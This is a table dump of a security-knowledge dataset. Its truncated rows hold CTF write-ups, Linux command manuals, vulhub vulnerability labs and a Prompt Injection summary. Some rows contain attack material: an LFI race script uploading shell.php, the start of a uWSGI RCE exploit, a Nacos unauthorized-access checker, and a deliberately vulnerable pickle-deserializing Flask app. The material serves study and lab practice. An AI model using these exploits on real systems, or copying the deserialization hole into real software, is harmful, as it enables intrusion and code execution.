text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
Trivia 5 (trivia, 10p, 1016 solves)
> On Windows, loading a library and having it's code run in another process is called _ .
dll injection | sec-knowleage |
# Midnight Sun CTF Quals
Team: akrasuski1, sasza, chivay, borysp, nazywam, shalom, ziolek
### Table of contents
* [isoar (web)](isoar)
* [Whistleblower (crypto)](crypto_whistleblower)
* [babyshells (pwn)](babyshells)
* [botpanel (pwn)](botpanel)
* [diary (misc)](diary)
* [gibson (pwn)](gibson)
* [hashcash (pwn)](hashca... | sec-knowleage |
# 威胁狩猎之行为向量
## 现状和问题
在威胁情报&威胁狩猎过程中,经常会遇到两个问题:
- 威胁情报从灰到黑的研判难以量化
- 威胁狩猎关注外部威胁分析,但是缺乏对内部数据上下文的关注
第一个问题是在威胁情报生产过程中经常会遇到一个情况,就是情报从灰向黑的转变是比较难量化的。即便我们认为这些资产99%是有问题的,但是乘与一个亿的数量级,多的1%误报也是不能接受的,所以会导致很多时候我们只敢说这些数据是灰的,而不敢说这些数据是黑的,并且如何进行转化也是比较难量化。在《威胁情报之落地实战-由灰向黑篇》[1]一文中提到一个“行为”的角度,也就是根据上下文信息。因此对其进行简单梳理,感谢原作者。
另一个问题是威胁狩猎活动中,经常... | sec-knowleage |
.TH EMACS 1 "1995 December 7"
.UC 4
.SH NAME
emacs \- GNU Emacs
.SH "总览 (SYNOPSIS)"
.B emacs
[
.I command-line switches
] [
.I files ...
]
.br
.SH "描述 (DESCRIPTION)"
.I GNU Emacs
是
.I Emacs
的 一个 版本, 是由 最早的 (PDP-10)
.I Emacs
的 作者
Richard Stallman 写的.
.br
GNU Emacs 的 主要 文档 都 在 GNU Emacs 手册 里, 可以 通过 Info (Emacs 的 一个
子系统)... | sec-knowleage |
# D3c0d3M3
Category: Crypto, 100 Points
## Description
> WFKZLTABVKWVLXGMASVPYVP2ZRTKVHKV6XGBJKVEKX44YCVKXBK4XTBDVKSVL2WMACVLOVPEZQJ2VHCV
>
> 
>
> Can you get to the flag? :)
## Solution
This is a pretty simple decoding challenge. We need to decode `WFKZLTABVKWVLXGMASVPYVP2ZRTKVHKV6XGBJKVEKX4... | sec-knowleage |
renice
===
修改正在运行的进程的调度优先级
## 补充说明
**renice命令** 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。
### 语法
```shell
renice(选项)(参数)
```
### 选项
```shell
-g:指定进程组id;
-p<程序识别码>:改变该程序的优先权等级,此参数为预设值。
-u:指定开启进程的用户名。
```
### 参数
进程号:指定要修改优先级的进程。
### 实例... | sec-knowleage |
version: '2'
services:
web:
build: .
ports:
- "8000:8000"
depends_on:
- db
restart: always
db:
image: vulhub/oracle:12c-ee
restart: always | sec-knowleage |
# New Vignere
Category: Crypto, 300 points
## Description
> Another slight twist on a classic, see if you can recover the flag. (Wrap with picoCTF{})
>
> `epdfglkfnbjbhbpicohidjgkhfnejeecmjfnejddgmhpndmchbmifnepdhdmhbah`
A Python file was attached:
```python
import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string... | sec-knowleage |
chattr
===
用来改变文件属性
## 补充说明
**chattr命令** 用来改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
### 语法
```shell
chattr(选项)
```
### 选项
```shell
a:让文件或目录仅供附加用途;
b:不更新文件或目录的最后存取时间;
c:将文件或目录压缩后存放;
d:将文件或目录排除在倾倒操作之外;
i:不得任意更动文件或目录;
s:保密性删除文件或目录;
S:即时更新文件或目录;
u:预防意外删除。
```
```shell
-R:递归处理,将指令目录下的所有文件及子目录一并处理;
-v<版本编号>:设置文件或目录... | sec-knowleage |
### CTF 竞赛内容
由于 CTF 的考题范围其实比较宽广,目前也没有太明确的规定界限说会考哪些内容。但是就目前的比赛题型而言的话,主要还是依据常见的 **Web 网络攻防、RE 逆向工程、Pwn 二进制漏洞利用、Crypto 密码攻击、Mobile
移动安全** 以及 **Misc 安全杂项** 来进行分类。
- **Web - 网络攻防**
主要介绍了 Web 安全中常见的漏洞,如 SQL 注入、XSS、CSRF、文件包含、文件上传、代码审计、PHP 弱类型等,Web 安全中常见的题型及解题思路,并提供了一些常用的工具。
- **Reverse Engineering - 逆向工程**
主要介绍了逆向... | sec-knowleage |
package org.vulhub.xstreamsample;
import com.thoughtworks.xstream.annotations.XStreamAlias;
@XStreamAlias("user")
public class User {
protected String name;
protected Integer age;
public User(String name, Integer age) {
this.name = name;
this.age = age;
}
public String getName()... | sec-knowleage |
# ZigZag
Category: Reversing & Binary Exploitation
## Description
> Some binaries are zigzag
A binary file was attached.
## Solution
Let's run `strings` on the file:
```console
root@kali:/media/sf_CTFs/technion/ZigZag# strings ./zigzag | head -n 40
/lib64/ld-linux-x86-64.so.2
libc.so.6
__cxa_finalize
__libc_start_main
... | sec-knowleage |
# Pacman
* Category: Web Application
* 500 Points
* Solved by the JCTF Team
## Description
> Hi Hacker!
> I need your help!
> I've built a Pacman game for my website and now I see suspicious activity on my > server, I suspect that the code I wrote is vulnerable for something...
>
> Can you take over my server and loca... | sec-knowleage |
**Authors**: < [nixawk](https://github.com/nixawk) >, < [patitoaxel](https://github.com/patitoaxel) >
----
# Information Gathering - Windows
## System Architecture
|**Command**|**Description**|
|:----------|:--------------|
|ver|Displays the Windows version.|
|systeminfo<BR>systeminfo /S `ComputerName` /U `username` /P... | sec-knowleage |
# House Of Force
## 介绍
House Of Force 属于 House Of XXX 系列的利用方法,House Of XXX 是 2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。
但是,由于年代久远《The Malloc Maleficarum》中提出的大多数方法今天都不能奏效,我们现在所指的 House Of XXX 利用相比 2004 年文章中写的已有较大的不同。但是《The Malloc Maleficarum》依然是一篇推荐阅读的文章,你可以在这里读到它的原文:
h... | sec-knowleage |
# My first calculator
Category: Miscellaneous
## Description
> I created this amazing calculator in python 2, take a look and tell me what you think
## Solution
We receive access to a Python 2 calculator:
```console
root@kali:/media/sf_CTFs/technion/My_first_calculator# nc ctf.cs.technion.ac.il 4012
Enter calculation: ... | sec-knowleage |
diffstat
===
显示diff命令输出信息的柱状图
## 补充说明
**diffstat命令** 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径。
### 语法
```shell
diffstat(选项)(参数)
```
### 选项
```shell
-n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名;
-p<文件名长度>:与-n参数相同,但此处的<文件名长度>包括了文件的路径;... | sec-knowleage |
# Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)
Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了`open`函数。而在ruby中,`open`函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
## 环境搭建
编译及运行漏洞环境:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问`http://your-ip:80... | sec-knowleage |
### Linus内核漏洞利用目的
在 Linux 内核漏洞利用中,攻击者可能会有以下几个目的
- 提权,即获取到 root 权限。
- 泄露敏感信息。
- DoS,即使得内核崩溃。
一般而言,攻击者的主要目的是提权。 | sec-knowleage |
# Leetcode 题解 - 树
<!-- GFM-TOC -->
* [Leetcode 题解 - 树](#leetcode-题解---树)
* [递归](#递归)
* [1. 树的高度](#1-树的高度)
* [2. 平衡树](#2-平衡树)
* [3. 两节点的最长路径](#3-两节点的最长路径)
* [4. 翻转树](#4-翻转树)
* [5. 归并两棵树](#5-归并两棵树)
* [6. 判断路径和是否等于一个数](#6-判断路径和是否等于一个数)
* [7. 统计路径和等于一个数的路径数量](#7-统... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE FUNCTION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE FUNCTION \- 定义一个新函数
.SH SYNOPSIS
.sp
.nf
CREATE [ OR REPLACE ] FUNCTION \fIname\fR ( [ \fIargtype\fR [, ...] ] )
RETURNS \fIrettype\fR
{ LANGUAGE \fIlangname\fR... | sec-knowleage |
# Apache Shiro 认证绕过漏洞(CVE-2020-1957)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造`..;`这样的跳转,可以绕过Shiro中对目录的权限限制。
参考链接:
- <https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139>... | sec-knowleage |
# Journey: Chapter I (web, 278+16 pts, 10 solves)
To quote the source of `admin.html`,
```html
Your flag is: <span id="flag" style="font-weight: bold"></span></br>
<!-- ... -->
jsonReq('/get_admin').then(data => { console.log(data); $("#flag").text(data.flag); // ...
```
In the server source, we see
```javascript
app.g... | sec-knowleage |
mailq
===
显示待发送的邮件队列
## 补充说明
**mailq命令** 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。
### 语法
```shell
mailq(选项)
```
### 选项
```shell
-v:显示详细的信息。
```
### 实例
```shell
[root@localhost ~]# mailq -v
/var/spool/mqueue is empty
Total requests: 0
``` | sec-knowleage |
# Prompt Injection
> A technique where specific prompts or cues are inserted into the input data to guide the output of a machine learning model, specifically in the field of natural language processing (NLP).
## Summary
* [Tools](#tools)
* [Applications](#applications)
* [Story Generation](#story-generation)
* [Po... | sec-knowleage |
# Hadoop YARN resourcemanager 未授权访问漏洞
## 漏洞描述
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。
## 环境搭建
使用vulhub
```
[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml exploit.py README.md
[root@localhost ~]# docker-compose up
```... | sec-knowleage |
# Statistics
Category: AI Research, 20 points
## Description
> Imagine you are a data scientist working alongside Marie Curie; a Laurent and a physicist. Inspired by her work on radiation, she comes up with an idea for creating a new stochastic neural network layer entitled "RadiumDropout". The suggested layer behaves ... | sec-knowleage |
ifconfig
===
配置和显示Linux系统网卡的网络参数
## 补充说明
**ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。
### 语法
```shell
ifconfig(参数)
```
### 参数
```shell
add<地址>:设置网络设备IPv6的ip地址;
del<地址>:删除网络设备IPv6的IP地址;
down:关闭指定的网络设备;
<hw<网络设备类型><硬件地址>:设置网络设备的类型与硬件地址;
io_addr<I/O地址... | sec-knowleage |
# HA:WORDY
下载地址:https://download.vulnhub.com/ha/ha-wordy.ova
## 实战操作
扫描到靶场IP地址:`192.168.32.149`

靶场只开启**80端口**。
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sT -sV -p1-65535 192.168.32.149
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-06 0... | sec-knowleage |
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % us... | sec-knowleage |
# Help Mars, ppc+osint
It was a programming challenge, in which we had to find the shortest set of database strings (of which there
were a few millions), that concatenated together would give target string (that we had to find on the internet
as osint part of the challenge). The strings weren't very long; around 100 ch... | sec-knowleage |
# Mathgame (PPC, 714p, 9 solved)
This was a very annoying task.
Conceptually it was actually pretty simple, but parsing the input was hard, and then it was randomly failing tests.
The idea was that we have a cube 7x7x7 with numbers on the walls.
There are 7 numbers which doesn't fit somehow.
We need to find them, then ... | sec-knowleage |
dnsdomainname
===
定义DNS系统中FQDN名称的域名
## 补充说明
**dnsdomainname命令** 用于定义DNS系统中FQDN名称中的域名。
### 语法
```shell
dnsdomainname(选项)
```
### 选项
```shell
-v:详细信息模式,输出指令执行的详细信息。
```
### 实例
```shell
[root@AY1307311912260196fcZ ~]# dnsdomainname -v
gethostname()=`AY1307311912260196fcZ'
Resolving `AY1307311912260196fcZ' ...
Result: h... | sec-knowleage |
# House of Orange
## 介绍
House of Orange与其他的House of XX利用方法不同,这种利用方法来自于Hitcon CTF 2016中的一道同名题目。由于这种利用方法在此前的CTF题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为House of Orange。
## 概述
House of Orange的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在free函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行malloc和free操作,但是在House of Orange利用中无法使用free函数,因此House of Orange核心就... | sec-knowleage |
rmdir
===
用来删除空目录
## 补充说明
**rmdir命令** 用来删除空目录。当目录不再被使用时,或者磁盘空间已到达使用限定值,就需要删除失去使用价值的目录。利用rmdir命令可以从一个目录中删除一个或多个空的子目录。该命令从一个目录中删除一个或多个子目录,其中dirname佬表示目录名。如果dirname中没有指定路径,则删除当前目录下由dirname指定的目录;如dirname中包含路径,则删除指定位置的目录。删除目录时,必须具有对其父目录的写权限。
注意:子目录被删除之前应该是空目录。就是说,该目录中的所有文件必须用rm命令全部,另外,当前工作目录必须在被删除目录之上,不能是被删除目录本身,也不能是被删除目录的子... | sec-knowleage |
### 关于IsDebuggerPresent概述
当调试器存在时, `kernel32`的`IsDebuggerPresent()`函数返回的是一个`非0值`.
``` c++
BOOL WINAPI IsDebuggerPresent(void);
```
### IsDebuggerPresent检测代码
它的检测方法非常简单, 比如用以下代码(32位还是64位都是相同的这份代码)在32位/64位环境中检测:
``` asm
call IsDebuggerPresent
test al, al
jne being_debugged
```
实际上, 这个函数只是单纯地返回了`BeingDebugged`标志的值. 检查`Be... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH DIRNAME 1 2022年9月 "GNU coreutils ... | sec-knowleage |
# Jumpserver random seed leakage and account takeover (CVE-2023-42820)
[中文版本(Chinese version)](README.zh-cn.md)
Jumpserver is a Popular Open Source PAM (Privileged Access Management) system that provides web-based SSH (Secure Shell) and RDP (Remote Desktop Protocol) gateway.
In the version prior to 3.6.4 is affected... | sec-knowleage |
# T1546-004-linux-.bash_profile和.bashrc
## 来自ATT&CK的描述
`~/.bash_profile`和.bashrc是在新shell打开时或用户登录时在用户的上下文中执行,以便正确设置其环境。为登录shell执行,并为交互式非登录shell执行。这意味着当用户(通过用户名和密码)登录到控制台(本地或通过SSH等远程登录)时,会在将初始命令提示符返回给用户之前执行。每次打开新的shell时都会执行。这允许用户在需要执行某些命令时进行更细粒度的控制。
这些文件是由本地用户编写的,用于配置自己的环境; 但是,每次用户登录或打开新的shell时,攻击者可以在这些文件中插入代码以获得持久性。
## ... | sec-knowleage |
Gibson 9000 Calcumatron.
Caving under the pressure of environmentalists, the Gibson inc. CPU
manufacturing company is working on a new line of processors in order to
decrease power consumption and cooling requirements, while still increasing
the amount of Jigawatts.
The current Gibson 9000 CPU design uses only uses 6 i... | sec-knowleage |
lpr
===
将文件发送给指定打印机进行打印
## 补充说明
**lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。
### 语法
```shell
lpr(选项)(参数)
```
### 选项
```shell
-E:与打印服务器连接时强制使用加密;
-H:指定可选的打印服务器;
-C:指定打印任务的名称;
-P:指定接受打印任务的目标打印机;
-U:指定可选的用户名;
-#:指定打印的份数;
-h:关闭banner打印;
-m:打印完成后发送E-mail;
-r:打印完成后删除文件。
```
### 参数
文件:需打印的文件。
### 实例
将man1和man2送到打印机lp进... | sec-knowleage |
import re
import socket
from time import sleep
def encode(eq):
b = encode1(eq)
return encode2(b)
def encode1(eq):
out = []
for c in eq:
q = bin((ord(c) ^ 32)).lstrip("0b")
q = "0" * (8 - len(q)) + q
out.append(q)
b = ''.join(out)
return b
def decode1(b):
result ... | sec-knowleage |
# Grafana 8.x Plugin Module File Path Traversal (CVE-2021-43798)
[中文版本(Chinese Version)](README.zh-cn.md)
Grafana is a multi-platform open source analytics and interactive visualization web application.
In December 2021, a Twitter user disclosed a 0day vulnerability, that unauthenticated attackers could use this vul... | sec-knowleage |
# DUMP 及 IAT 重建
## 原理
在找到程序OEP后, 我们需要将程序dump出来, 并重建`IAT`. `IAT`全名是`Import Address Table`, 表项指向函数实际地址.
## 示例
比如如下, 我们找到了OEP, 到达了程序的真正入口点. 我们这时就需要将程序dump出来. 我们右键, 选择`"用OllyDump脱壳调试进程"`(不过你也可以使用`LoadPE`来dump出来):
弹出一个窗口, 看一下地址是否正确, 主要就是看看`入口点地址`有没有选对. 然后取消勾选`重建输入表`.
将dump出的文件命名, 我这里是命名为`dump.exe`啦. 我们尝试来运行一下`dump.exe`, 可以发... | sec-knowleage |
version: '2'
services:
web:
image: vulhub/mongo-express:0.53.0
depends_on:
- mongo
ports:
- "8081:8081"
mongo:
image: mongo:3.4 | sec-knowleage |
# Amazon Bucket S3 AWS
## Summary
- [AWS Configuration](#aws-configuration)
- [Open Bucket](#open-bucket)
- [Basic tests](#basic-tests)
- [Listing files](#listing-files)
- [Move a file into the bucket](move-a-file-into-the-bucket)
- [Download every things](#download-every-things)
- [Check bucket disk size](#check-b... | sec-knowleage |
#Old but gold (misc, 250 points, solved by 76)
This chall involves parsing and decoding old recording medium - [punch cards](https://en.wikipedia.org/wiki/Punched_card)

We used pillow to detect if a given box is ticked or not:
``` python
for x in range(2, 82):
column = ""
for y in range(2, 25,... | sec-knowleage |
# Power-Net
> 分类参考科来网络通讯协议图
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## 应用层
### DNS
- [DNS 笔记](./应用层/DNS.md)
### WebSocket
**相关文章**
- https://github.com/halfrost/Halfrost-Field/blob/master/contents/iOS/WebSocket/iOS_WebSocket.md
**WebSockets over SSL/TLS**
- [WebSocket Security](https://devcenter.heroku.com/articles/websocke... | sec-knowleage |
# Package
Reversing, 15 points
## Description
> A package has arrived, come take it!
An executable file was attached.
## Solution
Let's start by running the executable:
```console
E:\CTFs\kaf\Package>Package.exe
Hello, you have a package in the mail!
Please enter your details, inorder to take the package
Enter your nam... | sec-knowleage |
# Java Script Kiddie
Web Exploitation, 400 points
## Description:
> The image link appears broken...
## Solution:
The source of the attached website is as follows:
```html
<html>
<head>
<script src="jquery-3.3.1.min.js"></script>
<script>
var bytes = [];
$.get("bytes", function(resp) {
bytes = Array... | sec-knowleage |
# 计算机网络 - 应用层
<!-- GFM-TOC -->
* [计算机网络 - 应用层](#计算机网络---应用层)
* [域名系统](#域名系统)
* [文件传送协议](#文件传送协议)
* [动态主机配置协议](#动态主机配置协议)
* [远程登录协议](#远程登录协议)
* [电子邮件协议](#电子邮件协议)
* [1. SMTP](#1-smtp)
* [2. POP3](#2-pop3)
* [3. IMAP](#3-imap)
* [常用端口](#常用端口)
* [Web 页面请求过程](#web-页面请求过程)
... | sec-knowleage |
---
title: Finder
date: 2022-11-23 16:23:31.693285
background: bg-[#4b9be8]
label: Mac
tags:
-
- mac
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 55 keyboard shortcuts found in Finder. This application is part of MacOS.
---
Keyboard Shortcuts {.cols-2}
------------------
###... | sec-knowleage |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
headers = {
"User-Agent": "Nacos-Server"
}
def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)
if r.status_code == 200 and "pageItems" in r.te... | sec-knowleage |
iostat
===
监视系统输入输出设备和CPU的使用情况
## 补充说明
**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。
### 语法
```shell
iostat(选项)(参数)
```
### 选项
```shell
-c:仅显示CPU使用情况;
-d:仅显示设备利用率;
-k:显示状态以千字节每秒为单位,而不使用块每秒;
-m:显示状态以兆字节每秒为单位;
-p:仅显示块设备和所有被使用的其他分区的状态;
-t:显示每个报告... | sec-knowleage |
# 集群
<!-- GFM-TOC -->
* [集群](#集群)
* [一、负载均衡](#一负载均衡)
* [负载均衡算法](#负载均衡算法)
* [1. 轮询(Round Robin)](#1-轮询round-robin)
* [2. 加权轮询(Weighted Round Robbin)](#2-加权轮询weighted-round-robbin)
* [3. 最少连接(least Connections)](#3-最少连接least-connections)
* [4. 加权最少连接(Weighted Le... | sec-knowleage |
# Miscellaneous & Tricks
All the tricks that couldn't be classified somewhere else.
## Send a message to another user
```powershell
# Windows
PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"
# Linux
$ wall "Stop messing with the XXX service !"
$... | sec-knowleage |
### CTF 竞赛在线学习
- [i 春秋-专业的网络安全|信息安全在线学习培训平台](http://www.ichunqiu.com)
- [看雪知识库](https://www.kanxue.com/chm.htm)
- [CTFHub](https://www.ctfhub.com/)
### CTF 竞赛学习路线
- [知道创宇研发技能表 v3.1](http://blog.knownsec.com/Knownsec_RD_Checklist/index.html)
- [漏洞银行(BUGBANK)技能树 ](https://skills.bugbank.cn/)
- [安全技能树简版 by 余弦]... | sec-knowleage |
startx
===
用来启动X Window
## 补充说明
**startx命令** 用来启动X Window,实际上启动X Window的程序为xinit。
### 语法
```shell
startx(参数)
```
### 参数
* 客户端及选项:X客户端及选项;
* 服务器及选项:X服务器及选项。
### 实例
要在工作站上或 X 终端上启动 X 会话,请输入:
```shell
startx
```
要在工作站上强制启动 X 会话,请输入:
```shell
startx -w
```
要为 X 终端启动 X 会话,并注销用户的 telnet 会话,请输入:
```shell
startx; kill ... | sec-knowleage |
# InsomniHack Teaser 2022
### Table of contents
* [nobus-101 (re)](nobus-101)
* [hopytal (web)](hopytal)
* [AndroNotes (mobile,forensics)](andronotes)
* [LoadMe (pwn)](loadme)
* [PDF-Xfiltration (misc)](pdf-xfiltration)
* [RetroPwn (game,pwn)](retropwn) | sec-knowleage |
# Web Gauntlet 2
Category: Web, 170 points
## Description
> This website looks familiar... Log in as admin
>
> Filtered: or and true false union like = > < ; -- /* */ admin
>
> Hint: sqlite
## Solution
This is a follow-up for last year's [Web Gauntlet](https://github.com/Dvd848/CTFs/blob/master/2020_picoCTF_Mini/Web_G... | sec-knowleage |
.\" 本man页版权所有(C)1999 Andi Kleen<ak@muc.de>.
.\" 可能已作修改的该页拷贝版本要获得授权许可,需一字不捺地包括本header(头标识),而
.\" 且在作了较大修改的情况下,修改作者和日期需添加到header中.
.\" 中文版版权所有 riser,BitBIRD www.linuxforum.net 2000
.TH UDP 7 "1998年10月2日" "Linux 手册页" "Linux 程序员手册"
.SH NAME (名字)
udp \- IPv4 上面的 UDP 协议.
.SH SYNOPSIS (总览)
.B #include <sys/socket.h>
.br
.B #... | sec-knowleage |
# 0x00 简介
本文讲解MySQL的数据库建立和简单的操作,为后期做准备,语法大写看起来不是很舒服能用小写的我就尽量小写了
建议还是先看看mysql语法吧,我这里也是粗略的讲讲 ,如果你懂点英语,那么看起来其实也不费劲。
# 0x01 基本语法
建立数据库
```
mysql> create database mysqltest;
Query OK, 1 row affected (0.00 sec)
```
查询所有数据库
```
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| infor... | sec-knowleage |
from Crypto.Cipher import DES
import struct
import string
def seven_to_eight(x):
[val] = struct.unpack("Q", x+"\x00")
out = 0
mask = 0b1111111
for shift in xrange(8):
out |= (val & (mask<<(7*shift)))<<shift
return struct.pack("Q", out)
def unpad(x):
#split up into 7 byte chunks
length = struct.pack(... | sec-knowleage |
from django.contrib.gis.db import models
# Create your models here.
class Names(models.Model):
name = models.CharField(max_length=128)
def __str__(self):
return self.name
class Collection(Names):
path = models.LineStringField()
class Collection2(Names):
point = models.PointField() | sec-knowleage |
# Pwn3
Pwn, 387 points
## Description:
A binary file was attached, in addition to an address and port.
## Solution:
Let's run the binary:
```console
root@kali:/media/sf_CTFs/tamu/Pwn3# ./pwn3
Take this, you might need it on your journey 0xff838e3e!
```
Let's check the decompilation using ghidra:
```c
undefined4 main(un... | sec-knowleage |
'\"
'\" Copyright (c) 1992-1995 Karl Lehenbauer and Mark Diekhans.
'\" Copyright (c) 1995-1997 Sun Microsystems, Inc.
'\" Copyright (c) 1998-1999 Scriptics Corporation
'\"
'\" This documentation is derived from the time and date facilities of
'\" TclX, by Mark Diekhans and Karl Lehenbauer.
'\"
'\" See the file "licens... | sec-knowleage |
# T1590-001-收集目标组织网络信息-域属性
## 来自ATT&CK的描述
在入侵受害者之前,攻击者可能会收集受害者网络域的信息。有关域及其属性的信息可能包括各种详细信息,包括受害者拥有的域以及管理数据(例如:姓名,注册商等)以及更直接可操作的信息。例如联系人(电子邮件地址和电话),公司地址和名称服务器。
攻击者可以通过不同的方式收集这些信息,例如直接通过主动扫描(例如监听端口,服务器banner,用户代理字符串),钓鱼进行收集。也可能是通过在线或其他可访问的数据集(例如:WHOIS)(引自:WHOIS)(引自:DNS Dumpster)(引自:Circl Passive DNS)暴露给攻击者。收集这些信息可能为如下活动提供... | sec-knowleage |
# Micro-CMS v1 - FLAG1
## 0x00 Index

## 0x01 Page 1

Try SQLi at url.
http://127.0.0.1:5001/xxxxxxxxxx/page/1'

## 0x02 Edit Page

## 0x03 FLAG
Try SQLi at url again.
http://127.0.0.1:5001/xxxxxxxxxx/page/edit/1'

A classic restricted shell jailbreak task.
We can ssh to a server and we get access via some kind of restricted shell.
It's all blackbox, so we need to poke around a bit to figure out what we can and can't do.
We get only messages from stderr, which makes things a bit harder.
Sending some random payload... | sec-knowleage |
# uWSGI 未授权访问漏洞
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。
uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量`UWSGI_FILE`,运用`exec://`协议执行任意命令。
参考链接:
- https://g... | sec-knowleage |
# Disk, disk, sleuth!
Category: Forensics, 110 points
## Description
> Use `srch_strings` from the sleuthkit and some terminal-fu to find a flag in this disk image
A disk image was attached.
## Solution
The description pretty much says it all:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Disk_disk_sleuth]
└─$ srch_st... | sec-knowleage |
# -*- coding: utf-8 -*-
# Implementation by Gilles Van Assche, hereby denoted as "the implementer".
#
# For more information, feedback or questions, please refer to our website:
# https://keccak.team/
#
# To the extent possible under law, the implementer has waived all copyright
# and related or neighboring rights to t... | sec-knowleage |
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else... | sec-knowleage |
##Nullcon youtube (Recon, 400p)
One of the NullCon vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [May of 2015] What is the ID of that youtube video.
###PL
[ENG](#eng-version)
Wchodzimy na youtube, wyszukujemy filmy z maja i testujemy id po kolei.
W końcu okazuje się, że poprawny film to:
htt... | sec-knowleage |
### 用户数据不可访问场景概述
如果内核态可以访问用户态的数据,也会出现问题。比如在劫持控制流后,攻击者可以通过栈迁移将栈迁移到用户态,然后进行 ROP,进一步达到提权的目的。在 Linux 内核中,这个防御措施的实现是与指令集架构相关的。
### x86 - SMAP - Supervisor Mode Access Protection的开启与关闭
#### 开启
默认情况下,SMAP 保护是开启的。
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `+smap` 来开启 SMAP。
#### 关闭
在 `/etc/default/grub` 的如下两行中添加 nosmap
```
GRUB_CM... | sec-knowleage |
from __future__ import print_function
from builtins import range
import itertools
import requests
import string
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the... | sec-knowleage |
# 名词解释
- ATT&CK,AdversarialTactics, Techniques, and Common Knowledge,对抗性策略、技术和通用知识
- SOC,SecurityOperations Center,安全运营中心
- TTPs,Tactics, Techniquesand Procedures,战术、技术和程序,也叫攻击战技
- IoCs,Indicator of Compromise,失陷指标,描述捕获的威胁事件响应信息,往往是域名、IP、URL形式
- IACD,Integrated Adaptive Cyber Defense,集成的自适应网络安全防护框架
- PDR,Protect-Detect... | sec-knowleage |
setsebool
===
修改SElinux策略内各项规则的布尔值
## 补充说明
**setsebool命令** 是用来修改SElinux策略内各项规则的布尔值。setsebool命令和getsebool命令是SELinux修改和查询布尔值的一套工具组。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。
### 语法
```shell
